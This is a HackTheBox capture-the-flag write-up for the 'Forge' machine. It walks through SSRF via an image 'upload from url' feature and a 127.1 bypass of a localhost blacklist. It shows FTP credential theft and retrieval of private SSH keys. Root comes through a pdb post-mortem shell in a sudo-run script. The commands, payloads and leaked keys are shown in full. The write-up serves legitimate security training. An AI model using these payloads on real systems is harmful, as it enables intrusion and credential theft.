HackTheBox - Forge

6 minute read

Summary

Forge
Difficulty: Medium
OS: Linux
Release date: 11-09-2021

Forge was a medium Linux machine running a web application that contained an SSRF vulnerability. Exploitation of the SSRF vulnerability revealed a set of FTP credentials that made it possible to retrieve a private SSH key from the system. Root access was obtained by triggering an exception in a Python script to launch a Pdb shell. Since the Python script ran as root, privilege escalation was achieved through the Pdb shell.

Foothold

An Nmap scan revealed that this machine was running a webserver on port 80, SSH on port 22, and interestingly FTP on port 21. The ‘filtered’ state indicates that this service is behind a firewall.

mick@kali:~/Documents/HackTheBox/Forge$ nmap -sV -sC -oN nmap_forge 10.129.220.44
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 22:07 CEST
Nmap scan report for 10.129.220.44
Host is up (0.055s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds

The web application was a gallery of images that also offered file upload functionality at /upload.

forge-homepage

forge-upload

At this point it was likely that this image upload functionality can be exploited.

Some additional enumeration revealed an interesting subdomain called: admin.forge.htb.

mick@kali:~/Documents/HackTheBox/Forge$ wfuzz -w subdomains_top5000.txt --sc 200 -H "Host: FUZZ.forge.htb" forge.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: http://forge.htb/
Total requests: 4989
====================================================================
ID           Response   Lines    Word       Chars      Payload                                                               
====================================================================
...
000000024:   200        1 L      4 W        27 Ch      "admin"                                                   
...

After adding admin.forge.htb to my /etc/hosts file, a curl request to that endpoint showed that that page was only accessible from localhost.

mick@kali:~/Documents/HackTheBox/Forge$ curl http://admin.forge.htb
Only localhost is allowed!

Since the webpage also offered the option “Upload from url”, it was worth a try to upload the admin.forge.htb page. By leveraging this SSRF vulnerability, I was able to view the content of that page even though it was only supposed to be accessible from localhost.

forge-ssrf.png

After requesting the URL where the content of admin.forge.htb was uploaded, I discovered a new endpoint ‘announcements’.

mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/N5yhKi7Aq14fHm4aSXLw
<!DOCTYPE html>
<html>
<head>
	<title>Admin Portal</title>
</head>
<body>
	<link rel="stylesheet" type="text/css" href="/static/css/main.css">
	<header>
			<nav>
				<h1 class=""><a href="/">Portal home</a></h1>
				<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
				<h1 class="align-right"><a href="/upload">Upload image</a></h1>
			</nav>
	</header>
	<br><br><br><br>
	<br><br><br><br>
	<center><h1>Welcome Admins!</h1></center>
</body>
</html>

Requesting the ‘/announcements’ endpoint with the same trick revealed a set of FTP credentials: user:heightofsecurity123!.

forge-ssrf-announcements.png

mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/ZaKnCAcMIPtJhm03A3kv
<!DOCTYPE html>
<html>
<head>
	<title>Announcements</title>
</head>
<body>
	<link rel="stylesheet" type="text/css" href="/static/css/main.css">
	<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
	<header>
			<nav>
				<h1 class=""><a href="/">Portal home</a></h1>
				<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
				<h1 class="align-right"><a href="/upload">Upload image</a></h1>
			</nav>
	</header>
	<br><br><br>
	<ul>
		<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
		<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
		<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
	</ul>
</body>
</html>

Since the FTP service was running behind a firewall, there was no way to access it directly. The SSRF vulnerability, however, could be used to access FTP. Unfortunately, trying to do so by submitting the URL http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected] to the “Upload from url” form showed that the URL contained a blacklisted address.

forge-ssrf-blacklist.png

There was an SSRF prevention mechanism in place that prevented the localhost address 127.0.0.1 from being requested. A small trick was used to bypass this mechanism. The address 127.1 is also a localhost address. By submitting http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected] to the form, a listing of the FTP directory was successfully requested.

forge-ssrf-ftp.png

mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/6IZ0EzrxkmRF61jb1lTe
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 28 06:18 user.txt

Since this directory was apparently a user’s home directory, I tried to retrieve the user’s private SSH key by submitting the following payload http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected]/.ssh/id_rsa to the form.

forge-ssrf-ssh.png

mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/F5SoAIgJxtNoqMAPp9XQ
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
...
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

After saving this private SSH key to a file, I managed to get access to the system.

mick@kali:~/Documents/HackTheBox/Forge$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 25 Sep 2021 10:17:38 AM UTC

  System load:  0.0               Processes:             223
  Usage of /:   44.9% of 6.82GB   Users logged in:       0
  Memory usage: 22%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Sep 24 20:13:50 2021 from 10.10.16.2
user@forge:~$ cat user.txt
ebd4e29c9829e0ac2d38a05d8e33002a

Root access

Checking for commands that this user can run as root revealed a Python script called /opt/remote-manage.py.

user@forge:~$ sudo -l
	Matching Defaults entries for user on forge:
		env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

	User user may run the following commands on forge:
		(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

The script contained the following code.

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

The highlighted lines are particularly interesting. They indicate that this script goes into pdb.post_mortem mode upon encountering an exception. Pdb is the Python debugger. Upon entering post_mortem mode, the user is allowed to execute Python code. In this specific context that is a privilege escalation vector since this script can be executed as root. At this point the only thing left to do was to trigger an exception in the script.

...
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
   ... 
...

Line 4 in the code excerpt above appeared to be the point where an exception could be triggered by supplying a non-integer value.

To successfully execute this privilege escalation, 2 SSH connections had to be made to be able to interact with the Python script on the machine.

In one SSH session I ran the Python script.

user@forge:~$ sudo python3 /opt/remote-manage.py 
Listening on localhost:41304

In another SSH session, I interacted with the script by connecting to localhost:41304 and provided a non-integer (‘a’) as input.

user@forge:~$ nc localhost 41304
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
a

This raised an exception and made the script enter the pdb.post_mortem mode.

user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:41304
invalid literal for int() with base 10: b'a'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) 

I was then able to obtain root’s private SSH key.

(Pdb) import os
(Pdb) os.system("cat /root/.ssh/id_rsa")
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/
... 
xIK6PSiF7Hs2Z7BZOVQd1BpblnZrL3mbJcdvXS8n55QgDuxfJeoxKrr9r1r/WqRjtce8/A
ZPz43Mi1EOl78AAAAKcm9vdEBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

After saving this SSH key locally, I was able to get root access to the system.

mick@kali:~/Documents/HackTheBox/Forge$ ssh [email protected] -i id_rsa_root 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 25 Sep 2021 10:48:42 AM UTC

  System load:  0.0               Processes:             226
  Usage of /:   44.9% of 6.82GB   Users logged in:       1
  Memory usage: 23%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Sep  7 17:07:50 2021
root@forge:~# cat root.txt
7cb49bd78563893b8fc7ca212d72e4b4